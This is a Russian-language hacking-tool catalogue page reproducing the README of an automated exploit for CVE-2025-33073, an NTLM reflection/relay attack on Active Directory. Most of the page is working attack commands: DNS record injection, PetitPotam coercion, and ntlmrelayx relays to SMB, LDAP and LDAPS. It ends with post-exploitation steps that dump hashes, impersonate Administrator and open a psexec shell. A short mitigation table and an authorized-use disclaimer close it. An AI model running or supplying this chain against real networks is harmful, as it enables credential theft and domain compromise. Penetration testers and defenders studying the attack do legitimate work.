Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Инструменты/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingCommand and Control

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Authentication
Red Teaming
DNS Analysis
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Репозиторий
34 месяцев назадЕщё не проверено
Поделиться

cupntlm

CVE-2025-33073 — Обход NTLM-рефлексии через принуждение DNS
Инструмент для автоматизированной эксплуатации в средах Active Directory.


Обзор

cupntlm автоматизирует цепочку атаки NTLM reflection/relay, эксплуатирующую CVE-2025-33073. Он объединяет в одном рабочем процессе инъекцию DNS-записей, принудительную аутентификацию (PetitPotam) и ретрансляцию NTLM. Инструмент поддерживает два режима работы в зависимости от объёма целей и требований к скрытности.

Сводка цепочки атаки

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Предварительные требования в целевой сети:

  • Подпись SMB отключена на целевом ретрансляторе
  • Действительная учётная запись домена с низкими привилегиями (достаточно прав только на чтение)
  • Сетевой доступ к контроллеру домена (порты 389 LDAP, 445 SMB)

Требования

Системные пакеты

Библиотеки Python

БиблиотекаУстановка
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

Содержимое каталога exploit/ (автоматически заполняется setup.sh)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # из impacket
├── dnstool.py          # из krbrelayx
├── lib/                # вспомогательная библиотека krbrelayx
└── PetitPotam.py

Установка

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Использование

Режим проверки — оценка возможности атаки

Проверяет статус подписи SMB на целях и валидирует учётные данные домена перед выполнением атаки.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Режим «на цель» — отдельная DNS-запись для каждого хоста

Создаёт уникальную DNS-запись для каждой цели, запускает принуждение по одной за раз и очищает записи между итерациями. Медленнее, но точнее и оставляет меньше шума.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Одиночный режим — одна DNS-запись, постоянная ретрансляция

Внедряет одну DNS-запись и держит ntlmrelayx запущенным непрерывно, последовательно перебирая все цели. Быстрее для больших диапазонов.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Формат targets.txt

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Ручная эксплуатация

Следующие шаги воспроизводят полную цепочку атаки вручную, без использования cupntlm.py. Полезно для понимания примитивов, отладки или адаптации к нестандартным средам.

Шаг 1 — Определение подписи SMB

Определите хосты, на которых подпись SMB отключена. Это ваши корректные цели для ретрансляции.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Или с помощью nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Ищите:

root@kitploit:~
Message signing enabled but not required   ← корректная цель для ретрансляции
Message signing enabled and required       ← ретрансляция невозможна

Шаг 2 — Внедрение вредоносной DNS-записи

Используйте dnstool.py для добавления A-записи в DNS домена, указывающей имя хоста на вашу машину. Когда цель разрешает это имя и проходит аутентификацию, запрос попадает на ваш ретранслятор.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # ваш IP атакующего
  --type A \
  10.0.0.1                       # IP контроллера домена

Проверьте, что запись добавлена:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Шаг 3 — Запуск слушателя ретрансляции NTLM

Запустите ntlmrelayx.py до запуска принуждения. Он будет ждать входящей аутентификации.

Ретрансляция на SMB — дамп SAM/LSA:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Ретрансляция на LDAP — создание новой учётной записи машины (для RBCD / shadow credentials):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Ретрансляция на LDAPS — дамп секретов домена:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Шаг 4 — Принуждение аутентификации с помощью PetitPotam

Заставьте целевую машину аутентифицироваться на вашей внедрённой DNS-записи. PetitPotam использует интерфейс MS-EFSRPC — для незапатченных хостов учётные данные не требуются, для запатченных используйте действительные.

Без аутентификации (незапатченная цель):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # ваш IP слушателя (должен совпадать с DNS-записью)
  192.168.1.50             # целевой хост для принуждения

С аутентификацией (запатченная цель, требуются корректные учётные данные):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

На этом этапе принуждённый хост отправляет свою NTLM-аутентификацию на вашу машину → ntlmrelayx перехватывает и ретранслирует её.


Шаг 5 — Сбор результатов

В зависимости от выбранной цели ретрансляции на шаге 3:

  • Ретрансляция на SMB → ntlmrelayx выводит хеши в stdout и записывает файлы <hostname>_samhashes.txt / _lsahashes.txt
  • Ретрансляция с делегированием доступа (LDAP) → ntlmrelayx выводит имя созданной учётной записи машины и пароль; далее используйте getST.py для получения сервисного билета
  • Дамп LDAPS → пароли LAPS выводятся напрямую

Шаг 6 — Очистка DNS-записи

Всегда удаляйте внедрённые DNS-записи после завершения работы.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Примеры пост-эксплуатации

Pass-the-hash с ретранслированной учётной записью машины:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Получение сервисного билета для S4U2Self (после RBCD):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Использование билета:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Меры защиты

Мера контроляЭффект

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований безопасности.
Не используйте его против систем, на тестирование которых у вас нет явного письменного разрешения.


Благодарности

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — принуждение EFS
Скачать инструмент
ИнструментНазначение
python3Среда выполнения
pip3Менеджер пакетов Python
gitКлонирование зависимостей
wgetЗагрузка файлов
nmapОпределение подписи SMB
netexec / crackmapexecПроверка подписи SMB (опционально)
Включить подпись SMB (обязательная) на всех хостахБлокирует ретрансляцию на SMB
Включить подпись LDAP + привязку каналовБлокирует ретрансляцию на LDAP/LDAPS
Установить исправление MS-EFSRPC (KB5005413)Блокирует неаутентифицированный PetitPotam
Ограничить создание DNS-записей только администраторамиБлокирует этап внедрения DNS
Отключить сетевую аутентификацию NTLM (предпочитать Kerberos)Исключает весь класс атак